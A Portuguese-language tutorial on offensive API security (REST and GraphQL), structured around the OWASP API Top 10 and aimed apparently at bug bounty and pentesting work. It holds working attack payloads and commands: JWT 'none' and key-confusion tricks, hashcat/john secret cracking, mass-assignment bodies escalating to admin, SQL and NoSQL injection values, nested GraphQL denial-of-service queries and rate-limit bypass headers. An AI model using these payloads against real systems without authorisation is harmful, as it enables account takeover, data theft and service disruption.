Kaique Mitsuo Silva Yamamoto
Seguranca informacao

API Security: hacking de APIs REST e GraphQL

OWASP API Top 10, BOLA, broken authentication em APIs, GraphQL introspection abuse, mass assignment, rate limiting — segurança ofensiva em APIs modernas.

APIs são o alvo #1 de aplicações modernas. OWASP criou um Top 10 específico para APIs porque as vulnerabilidades são diferentes das aplicações web tradicionais.


OWASP API Top 10 (2023)

#CategoriaDescriçãoBug Bounty impact
API1Broken Object Level Authorization (BOLA)Acesso a objetos de outros usuáriosIDOR em endpoints de API
API2Broken AuthenticationAuth fraca ou ausenteToken manipulation, brute force
API3Broken Object Property Level AuthorizationMass assignment, excessive dataExpor campos sensíveis
API4Unrestricted Resource ConsumptionSem rate limitingDDoS, scraping, brute force
API5Broken Function Level AuthorizationAcesso a funções de adminPrivilege escalation
API6Unrestricted Access to Sensitive Business FlowsAbuso de lógica de negócioBot abuse, scalping
API7Server Side Request ForgerySSRF via APICloud metadata, internal access
API8Security MisconfigurationConfig inseguraDefault creds, verbose errors
API9Improper Inventory ManagementAPIs antigas não desativadasShadow APIs, deprecated endpoints
API10Unsafe Consumption of APIsConfiança em APIs de terceirosDados manipulados, injection

API1 — BOLA (Broken Object Level Authorization)

BOLA é a vulnerabilidade #1 em APIs. Ocorre quando um endpoint não verifica se o usuário tem permissão para acessar o objeto solicitado.

Detecção

# Padrão comum de vulnerabilidade
GET /api/v1/users/123/profile    → dados do usuário 123
GET /api/v1/users/124/profile    → dados do usuário 124 (IDOR)

GET /api/v1/orders/1001          → minha order
GET /api/v1/orders/1002          → order de outro usuário

# Testing automático
1. Fazer login como user A e capturar requests
2. Fazer login como user B
3. Reenviar requests de A com sessão de B
4. Se retornar 200 com dados de A = BOLA confirmado

Burp Autorize (automatização)

1. Configurar Autorize com sessão de user A (privileged)
2. Navegar como user B (unprivileged)
3. Autorize reenvia cada request de B com sessão de A
4. Verde = bypass, vermelho = protegido, cinza = statico

API2 — Broken Authentication

JWT Abuse

# Decodificar JWT (sem verificar assinatura)
echo "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIn0.dozjgNryP4J3jVmNHl0w5N_XgL0n3I9PlFUP0THsR8U" | cut -d. -f2 | base64 -d

# JWT none algorithm attack
# Trocar alg: "HS256" para alg: "none"
# Header: {"alg": "none", "typ": "JWT"}
# Payload: {"sub": "admin", "role": "admin", "exp": 9999999999}
# Assinatura: (vazia)

# JWT key confusion (RS256 → HS256)
# Se servidor usa RS256, trocar para HS256 e assinar com a chave pública

# Brute force JWT secret
hashcat -a 0 -m 16500 jwt.txt /wordlists/rockyou.txt
john jwt.txt --wordlist=/wordlists/rockyou.txt --format=HMAC-SHA256

Common Auth Flaws

# 1. Password reset sem rate limit
POST /api/auth/reset-password
{"email": "[email protected]"}
# Enviar 1000 requisições/min → brute force de código OTP

# 2. Session fixation
GET /api/auth/login → retorna session_id=ABC123
# Atacante força vítima a usar ABC123
# Vítima faz login → atacante tem sessão válida

# 3. Token leakage em URLs
GET /api/endpoint?token=eyJhbG...
# Token aparece em logs, referer header, browser history

# 4. No session invalidation on logout
POST /api/auth/logout
# Token JWT continua válido após logout

API3 — Mass Assignment

# Endpoint de atualização de perfil
PUT /api/v1/users/me
{"name": "John", "email": "[email protected]"}

# Mass assignment — adicionar campos não esperados
PUT /api/v1/users/me
{"name": "John", "email": "[email protected]", "role": "admin", "is_verified": true, "balance": 999999}

# Detection
1. Comparar request normal com request modificado
2. Adicionar campos de resposta que parecem internos
3. Verificar se campos são aceitos sem validação

Excessive Data Exposure

# API retorna mais dados que o necessário
GET /api/v1/users/me

Response:
{
  "id": 123,
  "name": "John",
  "email": "[email protected]",
  "password_hash": "$2b$12$...",   ← VAZAMENTO
  "ssn": "123-45-6789",            ← VAZAMENTO
  "internal_id": "usr_abc123",     ← VAZAMENTO
  "api_key": "sk_live_..."         ← VAZAMENTO
}

GraphQL Security

Reconnaissance

# Introspection (ativado por padrão em muitos servers)
{
  __schema {
    types {
      name
      fields {
        name
        type { name kind ofType { name } }
      }
    }
  }
}

# Versão simplificada
{
  __schema {
    queryType { name }
    mutationType { name }
    subscriptionType { name }
    types { name }
  }
}

GraphQL Vulnerabilities

# 1. Introspection habilitada
# Expor schema inteiro → mapear todas as operações

# 2. Nested queries (DoS)
{
  users {
    posts {
      comments {
        author {
          posts {
            comments {
              # profundidade infinita → OOM
            }
          }
        }
      }
    }
  }
}

# 3. Batch queries
[
  {"query": "query { user(id:1) { name } }"},
  {"query": "query { user(id:2) { name } }"},
  {"query": "query { user(id:3) { name } }"},
  # 100+ queries em uma requisição → bypass rate limit
]

# 4. Field suggestion abuse
{ userz { name } }  # Typo → GraphQL sugere "users" → enumeração de fields

# 5. Mutation injection
mutation {
  updateUser(id: 1, input: {role: "admin"}) {
    id name role
  }
}

Ferramentas GraphQL

# InQL (Burp extension) — introspection + scanning
# graphqlmap — automação de introspection
python graphqlmap.py -u https://target.com/graphql -method POST

# clairvoyance (introspection sem permissão)
python -m clairvoyance -u https://target.com/graphql -o schema.json

# Batch resolver abuse
# Enviar queries em batch e verificar se rate limit existe

API Fuzzing

Path Parameter Fuzzing

# Versões de API
ffuf -u https://target.com/api/FUZZ/endpoint -w versions.txt
# versions.txt: v1, v2, v3, beta, internal, debug, admin

# HTTP methods
for method in GET POST PUT DELETE PATCH OPTIONS HEAD; do
  curl -X $method -s -o /dev/null -w "%{http_code}" https://target.com/api/v1/users
  echo " $method"
done

# Content-Type variations
curl -H "Content-Type: application/json" -d '{"id":1}' https://target.com/api/endpoint
curl -H "Content-Type: application/xml" -d '<id>1</id>' https://target.com/api/endpoint
curl -H "Content-Type: application/x-www-form-urlencoded" -d 'id=1' https://target.com/api/endpoint

Parameter Tampering

# Type confusion
{"id": "1"}        → string
{"id": 1}          → integer
{"id": [1]}        → array
{"id": {"$gt": 0}} → NoSQL operator

# Unexpected parameters
{"id": 1, "role": "admin", "access_level": 9999}
{"id": 1, "_method": "DELETE"}  → method override

# Array injection
{"ids": [1, 2, 3]} → potencial SQL injection em IN clause
{"ids": ["1' OR '1'='1"]}

Rate Limiting Bypass

# 1. Header manipulation
X-Forwarded-For: 1.2.3.4
X-Real-IP: 1.2.3.4
X-Originating-IP: 1.2.3.4
X-Client-IP: 1.2.3.4
Client-IP: 1.2.3.4
True-Client-IP: 1.2.3.4

# 2. IP rotation
# Usar proxies rotativas
ffuf -u https://target.com/api/login -w wordlist.txt -x http://proxy:port

# 3. API key rotation
# Se rate limit por API key, trocar keys

# 4. Endpoint variation
/api/v1/users  → rate limited
/api/v1/users/ → possivelmente não
/api/./v1/users → path normalization
/api/v1/USERS   → case sensitivity

Referências

On this page